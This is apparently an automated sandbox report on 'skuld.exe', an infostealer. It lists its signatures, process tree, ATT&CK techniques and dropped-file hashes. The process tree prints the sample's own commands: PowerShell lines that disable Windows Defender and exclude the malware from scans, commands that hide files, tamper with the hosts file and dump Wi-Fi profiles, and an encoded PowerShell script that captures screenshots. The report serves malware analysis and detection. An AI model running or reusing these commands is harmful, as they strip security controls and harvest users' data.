Analysis

  • max time kernel
    44s
  • max time network
    45s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-05-2024 08:40

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    9aa0a7fe9d6c1d63afba8737d74db883

  • SHA1

    dfcf414f0dc9000ed20e3e890420938fba44832f

  • SHA256

    447639dd4a5ea773eca0a2c73ba0f24e506ddf1fd209def728909e37bcfe01fa

  • SHA512

    98c26a483b2ec3b2829cd4801f436b0c6accf28f221506e88528102cd0dba988e2a4e87492cf31f8da232675afd0363ec2e76cf85c81b91aaa4b9e76b476f83b

  • SSDEEP

    98304:88tIBGYnVpvuiIjEN0xS5XGWE6IpSF8SejC:3oGYnLNVN0xSVGT6IOejC

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4208
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:1832
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:3096
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4700
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:4140
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:936
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2144
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:4848
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
              PID:1148
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:3552
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:4968
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious use of WriteProcessMemory
              PID:1108
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ajnz50ju\ajnz50ju.cmdline"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:916
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF85A.tmp" "c:\Users\Admin\AppData\Local\Temp\ajnz50ju\CSC296D1C85B5AB417187F0D5C23EC416B.TMP"
                  4⤵
                    PID:2460
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4340,i,17096020621006928097,15544233752327415349,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:8
              1⤵
                PID:4136

              Network

              MITRE ATT&CK Matrix ATT&CK v13

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Defense Evasion

              Modify Registry

              2
              T1112

              Subvert Trust Controls

              1
              T1553

              Install Root Certificate

              1
              T1553.004

              Hide Artifacts

              1
              T1564

              Hidden Files and Directories

              1
              T1564.001

              Credential Access

              Unsecured Credentials

              3
              T1552

              Credentials In Files

              3
              T1552.001

              Discovery

              Query Registry

              1
              T1012

              Peripheral Device Discovery

              1
              T1120

              System Information Discovery

              2
              T1082

              Collection

              Data from Local System

              3
              T1005

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                6d3e9c29fe44e90aae6ed30ccf799ca8

                SHA1

                c7974ef72264bbdf13a2793ccf1aed11bc565dce

                SHA256

                2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

                SHA512

                60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                67e8893616f805af2411e2f4a1411b2a

                SHA1

                39bf1e1a0ddf46ce7c136972120f512d92827dcd

                SHA256

                ca0dfe104c1bf27f7e01999fcdabc16c6400c3da937c832c26bdbca322381d31

                SHA512

                164e911a9935e75c8be1a6ec3d31199a16ba2a1064da6c09d771b2a38dd7fddd142301ef55d67d90f306d3a454a1ce7b72e129ea42e44500b9b8c623a8d98b4d

              • C:\Users\Admin\AppData\Local\Temp\RESF85A.tmp
                Filesize

                1KB

                MD5

                618882ab01125574b2a38bed0a44c67b

                SHA1

                6325cd58497598fa13c292d495e69dbbcb615221

                SHA256

                7c3b733a40171d4192c8a82f246b3146e7059af1425046331257c6875ce82783

                SHA512

                9ac760af3fdca5df2c5962c99f434b5c8d820a4a89ed0990c82aa32b0a4436eb0388e460f857d20503c8a7b721b8ed4013b8ef0c4909a1512b2bbcce460b5da7

              • C:\Users\Admin\AppData\Local\Temp\XijY6XDJNJ\Display (1).png
                Filesize

                407KB

                MD5

                2e8d084cf5c953a08477e7f3a45652d9

                SHA1

                a7f36ed395d35af08a6bf8a0ce5713de68256520

                SHA256

                749e1d91d62346e36e45c03d8f1cd6da3077bb06c1c96fc3992f652171987d74

                SHA512

                895078e7e7b54bd9f763f16ba679e2ce09e6696fff554d6b1504b28fc80d405376f5b4cc3213eb0a48835c16728d0b79ae2c04468285011ee85ec19e234e997d

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33shs3ji.oci.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\ajnz50ju\ajnz50ju.dll
                Filesize

                4KB

                MD5

                bcbdfd9a0940bdc9520e98eaf99fba57

                SHA1

                ae6f8efee053f8a729c9e8de443468abdcdb445e

                SHA256

                78707bb3e766d6df2401568b8d33d99ecc65ea3514612259d1ffe49dfd56d407

                SHA512

                9d2c845a44775e45deb7c2dd7e80ef0ef665f2616494dccbbe7e38a5b1197a7cea6b37a24afaa9ddb92ef75fa0e62f22f81fa45ff9257341279e37def0aec4ef

              • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                Filesize

                9.5MB

                MD5

                9aa0a7fe9d6c1d63afba8737d74db883

                SHA1

                dfcf414f0dc9000ed20e3e890420938fba44832f

                SHA256

                447639dd4a5ea773eca0a2c73ba0f24e506ddf1fd209def728909e37bcfe01fa

                SHA512

                98c26a483b2ec3b2829cd4801f436b0c6accf28f221506e88528102cd0dba988e2a4e87492cf31f8da232675afd0363ec2e76cf85c81b91aaa4b9e76b476f83b

              • C:\Windows\System32\drivers\etc\hosts
                Filesize

                2KB

                MD5

                6e2386469072b80f18d5722d07afdc0b

                SHA1

                032d13e364833d7276fcab8a5b2759e79182880f

                SHA256

                ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

                SHA512

                e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

              • \??\c:\Users\Admin\AppData\Local\Temp\ajnz50ju\CSC296D1C85B5AB417187F0D5C23EC416B.TMP
                Filesize

                652B

                MD5

                795d9dec8d17b7dbea6e81c5afcce47f

                SHA1

                f763a0807814086b5ac3da758c01c543a8f91ee8

                SHA256

                e97c40c79c8e72a8f7efd5c50f3c912d5e95c74f3e14ecfa249516d3f41c2e19

                SHA512

                19028d95b9fb9724a248b33bfb565c2090e42355b50ec9ddc9db43ac7fb23db0b9990547e4625eee8982bdaed20fed1bd564a772f9966912a3979c4c13891508

              • \??\c:\Users\Admin\AppData\Local\Temp\ajnz50ju\ajnz50ju.0.cs
                Filesize

                1004B

                MD5

                c76055a0388b713a1eabe16130684dc3

                SHA1

                ee11e84cf41d8a43340f7102e17660072906c402

                SHA256

                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                SHA512

                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

              • \??\c:\Users\Admin\AppData\Local\Temp\ajnz50ju\ajnz50ju.cmdline
                Filesize

                607B

                MD5

                844de51c98839cbf10ba8d9c47a001d0

                SHA1

                50638195ddf32177a72a811016af3db38868f783

                SHA256

                4eb3ec5b221721ea0d3f696bdedbab78e92bf0b6f3f5520048efa44f5a471f97

                SHA512

                1eec67ba0cbb64651394f5daea9d81708f2393dd2a0be2144e3696532bba1392d0a47d26717c9611ac7814e220fdbe85155ba41e7d6585aae49a5b7024e256d2

              • memory/1108-61-0x000001D5A4B40000-0x000001D5A4B48000-memory.dmp
                Filesize

                32KB

              • memory/4700-7-0x00000188709F0000-0x0000018870A12000-memory.dmp
                Filesize

                136KB